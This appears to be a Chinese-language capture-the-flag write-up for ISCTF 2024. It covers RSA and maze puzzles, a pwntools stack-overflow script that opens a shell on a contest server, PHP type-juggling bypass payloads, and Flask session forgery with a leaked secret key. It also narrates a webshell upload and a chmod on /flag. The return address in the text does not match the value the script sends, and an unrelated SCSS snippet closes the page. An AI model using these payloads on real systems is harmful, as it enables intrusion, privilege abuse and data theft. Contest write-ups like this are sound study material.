c = 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n = 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak = 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881
m = pow(c, leak-n-1, n)
print(long_to_bytes(m))

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[40]; // [rsp+0h] [rbp-30h] BYREF
  char s1[8]; // [rsp+28h] [rbp-8h] BYREF

  init(argc, argv, envp);
  puts("welcome to isctf2024");
  puts("first i need your team id");
  read(0, buf, 0x30uLL);
  if ( strcmp(s1, "admin") )
  {
    puts("no no no");
    exit(0);
  }
  puts("ok, go on");
  vuln();
  return 0;
}

遵循着有事先溢出的原则，buf可以储存 40 个字节。我们需要运行vuln()函数，编写以下 Payload 来绕过strcmp(s1, "admin")

payload = b'a' * 40 + b'admin'
connection.send(payload)

继续分析文件，发现可以溢出到0x000000000040121E这个位置来执行 Shell

我们再来看一眼vuln()代码:

__int64 vuln()
{
  __int64 result; // rax
  __int64 i; // [rsp+28h] [rbp-8h]

  for ( i = 0LL; i <= 7; ++i )
  {
    printf("please input your %d girlfriend birthday\n", i + 1);
    result = __isoc99_scanf("%ld");
  }
  return result;
}

0x000000000040121E对应的十进制为4198932

通过栈溢出实现执行 Shell，编写 Payload 脚本实现，以下是完整的 Payload 脚本。

from pwn import *
connection = remote('27.25.151.12', 31274)

payload = b'a' * 40 + b'admin'
connection.send(payload)

response_sequence = [b'1', b'1', b'3', b'3', b'4', b'5', b'6', b'4198942']

for response in response_sequence:
    connection.recvuntil(b'birthday')
    connection.sendline(response)

connection.interactive()

<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关，你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    $num = $_POST["num"];
    echo "第一关有惊无险！小蓝鲨壮着胆子接着继续往下走！<br>";
    if($num == 2024){
        die("QAQ小蓝鲨误入陷阱，不怕，再接再厉！");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("陷阱太多QAQ");
    }
    if(intval($num,0) == 2024){
        echo "到这了难道还要放弃吗？<br>";
        if (isset($_GET['which'])){
            $which = $_GET['which'];
            echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！";
            switch ($which){
                case 0:
                    print('QAQ');
                case 1:
                case 2:
                    require_once $which.'.php';
                    echo $flag;
                    break;
                default:
                    echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
                    break;
            }
        }
    }
}

第一关

如果$a[0] != 'QNKCDZO'而且md5($a[0]) == md5('QNKCDZO')则成立。该部分运用到 PHP 的特性。

md5 的碰撞，在 PHP 的数的处理中，0 开头的字符串会被转换成 0，所以才会有 md5 碰撞。 [[MD5-collision]]

所以只要传入 MD5 值为0e开头的字符串，且不等于题目中的字符串，则条件成立。

$a[0]取$a的第一个元素，如果传入字符串，则将会取第一个字母。所以我们需要传入一个数组。parse_str用于解析$b并将里面的东西转为变量，而@将会忽略转换的错误。如果  $b  的值是  "foo=bar&baz=qux"，那么执行  parse_str($b);  后，PHP 将创建两个新的变量  $foo  和  $baz，它们的值分别是  "bar"  和  "qux"。

示例：

?b=a[0]=s878926199a

第二关

PHP 中post请求参数num, 有以下要求:

1. $num 不能等于数字 2024。
2. $num 不能包含任何字母（无论是小写还是大写。
3. 当使用 intval($num, 0) 转换 $num 为整数时，结果等于 2024。

尝试传入八进制数字03750，可以通过校验。

要使用八进制表达，数字前必须加上 0（零）。 PHP 8.1.0 起，八进制表达也可以在前面加上 0o 或者 0O 。 要使用十六进制表达，数字前必须加上 0x。要使用二进制表达，数字前必须加上 0b。 [[PHP Hypertext Preprocessor]]

第三关

if (isset($_GET['which'])) {
    $which = $_GET['which'];
    echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！";
    switch ($which) {
        case 0:
            print('QAQ');
        case 1:
        case 2:
            require_once $which . '.php';
            echo $flag;
            break;
        default:
            echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
            break;
    }
}

PHP 转换的规则的是：若字符串以数字开头，则取开头数字作为转换结果，若无则输出 0。 具体请查阅： php 里，为什么 0 == 'abc'是成立的？ - SegmentFault 思否

尝试传入flag字符串返回了 flag.

可以从中提取出迷宫的字符串。

根据这里可以判断字符串是一个(31*30)-1的一个矩形。

大概是这种构造。

我们需要编写算法，使得从 P 点触发，不经过 C 直接到达 E（如果到达 C 点会触发彩蛋）

import hashlib
import numpy as np
from queue import Queue
from heapq import heappush, heappop

maze_str = """
###############################P#...............#...#.......#.#####.###.#####.#.###.#####.#.....#...#.#.....#...#.#...#.#####.#.###.#.#######.#.#.###.#C..#.#.#...#.#...#...#.#.#...#.#.#.#.#.###.#.#.#.###.#.#.#.#.#.#.#.#...#...#.#.......#.#.#.###.#.###.#####.#########.###.#...#...#.....#.#.......#...#.#.#####.#####.#.#.#####.###.#...#...#...#...#...#...#.#...#.###.#.###.#.#######.#.#.#.#.#...#.#.#...#.#...#...#...#.#.###.#.#.#####.#.#.#.#######.###.#...#.....#...#.#.#...#.....#.#########.#####.#.###.#.###.#.#.....#.#...#...#...#...#.#.#.#.#.#.#.###.#.#####.###.#.#.#...#.#...#.#...#...#...#...#.#.###.###.#.#####.#.###.###.#.#...#.#.#.......#.#...#.#...#.#####.#.#######.#.#####.#.###.#...#.#.......#.#...#...#.#..E#.#.#.#.#######.###.#.#####.#.#.#...#.............#.....#.#.#.###############.#######.#.#.#.........#...#...#.....#...#.#.#######.#.#.#####.#.#######.#.......#...#.......#.........
"""

maze_str = '\n'.join([maze_str[i:i+31] for i in range(1, len(maze_str), 30)])

print(maze_str)

# Split the maze string into lines and remove empty lines
maze_lines = [line for line in maze_str.strip().split('\n') if line]

# Get dimensions
height = len(maze_lines)
width = len(maze_lines[0])

# Create numpy array
maze = np.zeros((height, width), dtype=int)

# Fill array and find special points
start = None
checkpoint = None
end = None

for i, line in enumerate(maze_lines):
    for j, char in enumerate(line):
        if char == '#':
            maze[i, j] = 1
        elif char == 'P':
            start = (i, j)
        elif char == 'C':
            checkpoint = (i, j)
        elif char == 'E':
            end = (i, j)

print("Maze array created with shape:", maze.shape)
print("Start position (P):", start)
print("Checkpoint position (C):", checkpoint)
print("End position (E):", end)


def get_direct_path(maze, start, end):
    rows, cols = maze.shape
    visited = set()
    q = Queue()
    q.put((start, []))  # (position, path)
    directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
    direction_names = ['上', '下', '左', '右']

    while not q.empty():
        (i, j), path = q.get()

        if (i, j) == end:
            print("找到直接路径！")
            print("路径步骤:", ' '.join(path))
            print("总步数:", len(path))
            direction_map = {'上': 'l', '下': 'o', '左': 'v', '右': 'e'}
            path_new = [direction_map[d] for d in path]
            print("路径(使用love):", ''.join(path_new))
            print("MD5:", hashlib.md5(''.join(path_new).encode()).hexdigest())
            return path

        if (i, j) in visited:
            continue

        visited.add((i, j))

        for idx, (di, dj) in enumerate(directions):
            ni, nj = i + di, j + dj
            if (0 <= ni < rows and 0 <= nj < cols and
                maze[ni, nj] != 1 and (ni, nj) not in visited and
                    (ni, nj) != checkpoint):
                q.put(((ni, nj), path + [direction_names[idx]]))

    print("未找到不经过检查点的路径")
    return None


direct_path = get_direct_path(maze, start, end)

将最优路线的 MD5 提交即可。

from PIL import Image
from Crypto.Util.number import bytes_to_long, long_to_bytes
import numpy as np

n = 29869349657224745144762606999
e = 65537

original_image_path = "flag.jpg"
img = Image.open(original_image_path)
img = img.convert("RGB")

img_array = np.array(img)
h, w, _ = img_array.shape

encrypted_array = np.zeros((h, w, 3), dtype=object)
for i in range(h):
    for j in range(w):
        r, g, b = int(img_array[i, j, 0]), int(img_array[i, j, 1]), int(img_array[i, j, 2])

        encrypted_array[i, j, 0] = pow(r, e, n)
        encrypted_array[i, j, 1] = pow(g, e, n)
        encrypted_array[i, j, 2] = pow(b, e, n)

np.save("encrypted_image.npy", encrypted_array)
print("图片已加密并保存为 encrypted_image.npy")

安装运行库

pip install pillow pycryptodome numpy sympy

代码分析

这段代码使用 RSA 加密算法对图片的每个像素进行加密，并将加密后的数据保存为一个 NumPy 数组文件。

计算私钥

既然是 RSA，那么就需要分解n。所幸，这个n非常的短。

n = 29869349657224745144762606999
e = 65537

那么我们可以直接将p和q给分解出来。

factors = list(sympy.factorint(n).keys())
p, q = factors[0], factors[1]

既然得到了p和q，我们可以把φ(n)求出来。

phi_n = (p - 1) * (q - 1)

然后计算得到私钥d.

d = pow(e, -1, phi_n)

解密图片

我们读取 Numpy 数组，逆向加密代码将各个像素点解密。

encrypted_array = np.load("encrypted_image.npy", allow_pickle=True)
h, w, _ = encrypted_array.shape

decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)
for i in range(h):
    for j in range(w):
        r, g, b = int(encrypted_array[i, j, 0]), int(encrypted_array[i, j, 1]), int(encrypted_array[i, j, 2])

        decrypted_array[i, j, 0] = pow(r, d, n)
        decrypted_array[i, j, 1] = pow(g, d, n)
        decrypted_array[i, j, 2] = pow(b, d, n)

然后将所有的数组转为图片并保存。

decrypted_img = Image.fromarray(decrypted_array, 'RGB')
decrypted_img.save("decrypted_flag.jpg")

完整代码实现

from PIL import Image
import numpy as np
import sympy

n = 29869349657224745144762606999
e = 65537

factors = list(sympy.factorint(n).keys())
p, q = factors[0], factors[1]

phi_n = (p - 1) * (q - 1)

d = pow(e, -1, phi_n)

encrypted_array = np.load("encrypted_image.npy", allow_pickle=True)
h, w, _ = encrypted_array.shape

decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)
for i in range(h):
    for j in range(w):
        r, g, b = int(encrypted_array[i, j, 0]), int(encrypted_array[i, j, 1]), int(encrypted_array[i, j, 2])

        decrypted_array[i, j, 0] = pow(r, d, n)
        decrypted_array[i, j, 1] = pow(g, d, n)
        decrypted_array[i, j, 2] = pow(b, d, n)

decrypted_img = Image.fromarray(decrypted_array, 'RGB')
decrypted_img.save("decrypted_flag.jpg")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get('username')
        password = request.form.get('password')
        if username == 'test' and password == 'test111':
            session['username'] = username
            session['password'] = password
            session['status'] = 'user'
            return redirect('/news')
        else:
            session['login_error'] = True
    return render_template("login.html")

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")
    news = newslist.news_list
    return render_template("admin.html", news=news)

当用户名是test密码是test111则可以登录，但是当用户名是admin密码为admin222时才能登录管理员面板，这就摆明了要求我们绕过验证。

app.config["SECRET_KEY"] = "W3l1com_isCTF"

这里提供了SECRET_KEY，我们可以根据这个加解密 session.

我使用的noraj/flask-session-cookie-manager: 🍪 Flask Session Cookie Decoder/Encoder工具解析的 session，相关的使用方法可以在 Github 查看。

python -m flask_session_cookie_manager3 encode -s "W3l1com_isCTF" -t "{'password': 'admin222', 'status': 'admin', 'username': 'admin'}"

.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzXjYw.JGCK95W6Ukxa7bFuD7ji1Uq68PA

将 Cookies 中 session 换成生成的 session 即可进入管理员平台。

然后继续分析代码。

news_data = base64.b64decode(serialized_news)

在这里会将 base64 字符串解码。

black_list = ['create_news', 'export_news', 'add_news', 'get_news']

在这里有一个黑名单，出现这里面提到的单词会被 ban 掉。其实这是一个线索，我们可以想象一下如何使用这里面的东西而不被发现~~（base64：不管我事哈_）~

newslist = NewsList()

代码在这里将对象实例化，可以直接调用。

newslist.create_news(6, open("/flag").read())

编写这样一段 Payload，然后转为 base64.

bmV3c2xpc3QuY3JlYXRlX25ld3MoNiwgb3BlbigiL2ZsYWciKS5yZWFkKCkp

[pickle

尝试上传一句话木马，可以上传。

尝试使用蚁剑链接，发现可以连接。

在根目录找到 flag，但是权限不够打不开。

当我寻找其他方案时，它竟然把我的脚本删了！！！！！！

到底是哪个玩意干的？？到底是谁？？是谁呢？？

一定是它了，在根目录有个down_file.sh是可以编辑的。就是它把我的 PHP 删了！！！

既然你不仁，休怪我不义！！

chmod 0777 /flag

// Typography
$font-family: () !default;
$font-family: map.merge(
  (
    // default family
    "":
      "'Helvetica Neue', Helvetica, 'PingFang SC', 'Hiragino Sans GB', 'Microsoft YaHei', '微软雅黑', Arial, sans-serif"
  ),
  $font-family
);

它的字体在配置文件是写死的，而且官方并没有提供办法修改。如果修改mode_modules，推送到流水线后并不会同步，只能用其他方法。